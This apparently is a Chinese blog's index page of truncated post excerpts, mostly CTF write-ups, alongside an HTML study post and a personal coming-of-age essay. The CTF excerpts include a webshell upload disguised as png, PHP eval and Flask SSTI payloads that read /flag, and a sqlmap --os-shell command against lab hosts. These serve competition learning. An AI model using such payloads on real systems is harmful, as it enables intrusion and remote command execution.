一言难尽,明年再战吧,这次实战经验确实涨很多很多,也见到偏难的出的比较好的题目了。
没爆零已经很开心了: )
hellogate
题目就给了个图片,用010 Editor,可以看到文件最后面有index.php的源码:
123456789101112131415161718192021222324252627<?phperror_reporting(0);class A { public $handle; public function triggerMethod() { echo "" . $this->handle; }}class B { public $worker; public $cmd; public function __toString() { return $this->worker->result; }}class C { public $cmd; ...
WEB_5
进入图片上传页面,上传WebShell,改后缀名为png,这里还发现对请求头的文件类型有要求,改成image/png,上传可以看到文件路径。
抓包还能看到其他的请求,
这里发现dXBsb2Fk是base64编码,解码后获得upload。
于是尝试将文件名base64编码后,替换dXBsb2Fk,蚁剑连接,在根目录发现flag。
WEB_2
题目进入扫路径,扫到/www.zip,然后访问下载文件,看Ser.php。
123456789101112131415161718192021222324252627<?phpclass Ser{ public $info; function __construct() { $this->info = 'phpinfo();'; } function __destruct() { eval($this->info); }}if(isset($_GET[ ...
一周的高强度CTF,很累但是很开心。在这里也认识到了超级多的CTFer,水群的大佬。
这个比赛的WEB题,有一说一,算我打过的最高难度,但是也见到了很多没见过的知识点,收获颇丰。然后也见到了很多让我眼前一亮的漏洞,只能说嘿壳前辈们还是太强了。
新生榜第一!
队友们都很给力了。
Misc
Guess!
用二分法进行猜测,得到Flag
1ISCTF{9ueSs_thE_@n$weR}
星髓宝盒
PNG分离出压缩包,解压后得到一张jpg,一个txt和一个带有加密的zip
在JPG属性中得到下列信息
1https://www.somd5.com/
txt可以在Subline Text中看到很多不可见字符,第一层是文字盲水印,第二层是零宽隐写。零宽隐写通过观察不可见字符类型在网站零宽字符隐写进行选择,最终得到
15b298e6836902096e9316756d3b58ec4
结合JPG中得到的url,进行MD5解密,得到压缩包密码
1!!!@@@###123
解压得到Flag
1ISCTF{1e7553787953e74113be4edfe8ca0e5 ...
EvalMachine Zero
EvalMachine 堂堂连载!
你能够在全是冰的情况下选择自己的function而不是溜冰吗?☝️🤓
什么?你说有人在里面掺了春日影?!赤石去吧凑企鹅😡
(打开允许重定向以获取更好的溜冰体验(雾))
出题人:AyaN0
无过滤RCE,外层套了eval();
要知道env/ls这些命令都是要在shell里执行的,eval执行的是一些php代码,要执行shell命令还得看system,echo ,exec() ,assert()或 passthru().
payload:
1system("tac /flag");
EvalMachine Ⅰ
当你从凑企鹅的溜冰领域逃离后,EvalMachine Zero成功被启动了
在你一阵眩晕后,你发现了另一个相似的"function"机器,那是EvalMachine Ⅰ
可当你想冲过去启动时,你的面前出现了一个熟悉的架子
!!!耄耋正在看着你!!!
!!!耄耋的头变圆了!!!
"哈!"耄耋向你发起了攻击
赶快,想想其他办法来绕过耄耋的强 ...
整个学习路线构建在:HTML 简介 - 学习网络开发 | MDN Web 中文网之上。
构建,顾名思义,就是很浅地过一遍。
HTML
我开始写前端的时候已经比较晚了,因为学校有相关的作业要求,故HTML这个板块用成果为楔,慢慢道来。
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>作业1 ...
这次卡点,我决定就定在阳历的今天。因为一年多没有发长文,所以我提前了很久动笔,因为我不想再和十七岁那次一样匆忙着疏忽许多。
十八岁,在对数的感知里是生命记忆的中点,有时工笔深刻,有时却没有分毫着墨。我不禁遥想远方,山的对面是什么,也许是寸草不生的荒芜,也许是一戳即破的幻梦,但是我竟依然向往。以前的我是格外怀旧的。因为怀旧,所以慢慢拢起每个此刻,垒起高高的神位,历遍2023、流云、Impression&Sunrise、平生、戏渎、碎时。我知道现在的一切正不可控地消逝,下一秒按部就班地替换这一秒的文件,所以怀旧给我的,是另一种珍惜现在的动机。
关于向往远方,我想引一番去年写的话:
“她说:
你在岸上看着被洋流带到更远处的浪花,你会羡慕它见过更广阔的景色,但它所历的惊险与枯燥,是远在岸上的你历不了的。
你羡慕的分明是更广阔的景色,而非更远处的浪花。”
我向往未来,但过去我常逃避,害怕成为大人。高中生的我从麻木里醒来,像被风霜打了好久的花终于学会冷,格外珍惜高中的分毫。我猜与一众同学日日处一室,无话不说带来的快乐此起彼伏,当是一生里最弥足珍贵的回忆。我猜再也不能代表青春淋那日灵性漫 ...
这是我和PwnBaby师傅打的所有题目。
WEB
the-moment-of-token
看源码,有注释:
不难看出这是一道时间口令的题目,int(time.time())返回服务器当前时间的时间戳,password需要我们写入和时间戳相等的数(误差不超过五秒)。
去网上直接搜当前时间戳,然后写入password,例如在这里我写入1762678735.
显示loginsuccess,但是就没有任何东西了。
这时候我们看到token,在网上可以找到其他师傅的资料:
从0学习CTF-从ctfhub来了解JWT - 知乎
我们查看cookie,
cookie里有token,放到解码工具里:
发现有gift,base32解码得到flag。
嘉豪的文件管理系统
根据hint,在getFileList.php处可以对order使用get传参。
猜出/?order=id,然后我们就可以直接通过sqlmap,
python sqlmap.py -u http://10.3.37.51:33083/getFileList.php/?order=id --os-shell --batch - ...
入门必看
flask之ssti模版注入从零到入门-先知社区
(说实话照着看了一遍,学到的很多,但是这个师傅没那么细心,所以可能会在某些地方误导新手~~(没错,比如我)~~)
WEB361
SSTI注入,最终payload:
1/?name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__[%27popen%27]("cat%20/flag").read()}}
我们借用python的flask框架解释。
1print("".__class__)
输出 class <'str'>
1print("".__class__.__bases__)
输出 (class <'object'>,),回显一元组
.__bases__返回所有直接父类的元组,按声明顺序排列
.__base__相当于.__bases__[0]
(在极少数多继承的 C 扩展类型上,__b ...
public 的属性被序列化后会变成 属性名
protected 的属性被序列化后会变成 %00*%00属性名
private 的属性被序列化后会变成 %00类名%00属性名
浏览器无法显示 00 空字符,解决办法是URL编码。
WEB254
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-02 17:44:47# @Last Modified by: h1xa# @Last Modified time: 2020-12-02 19:29:02# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);highlight_file(__FILE__);include('flag.php' ...









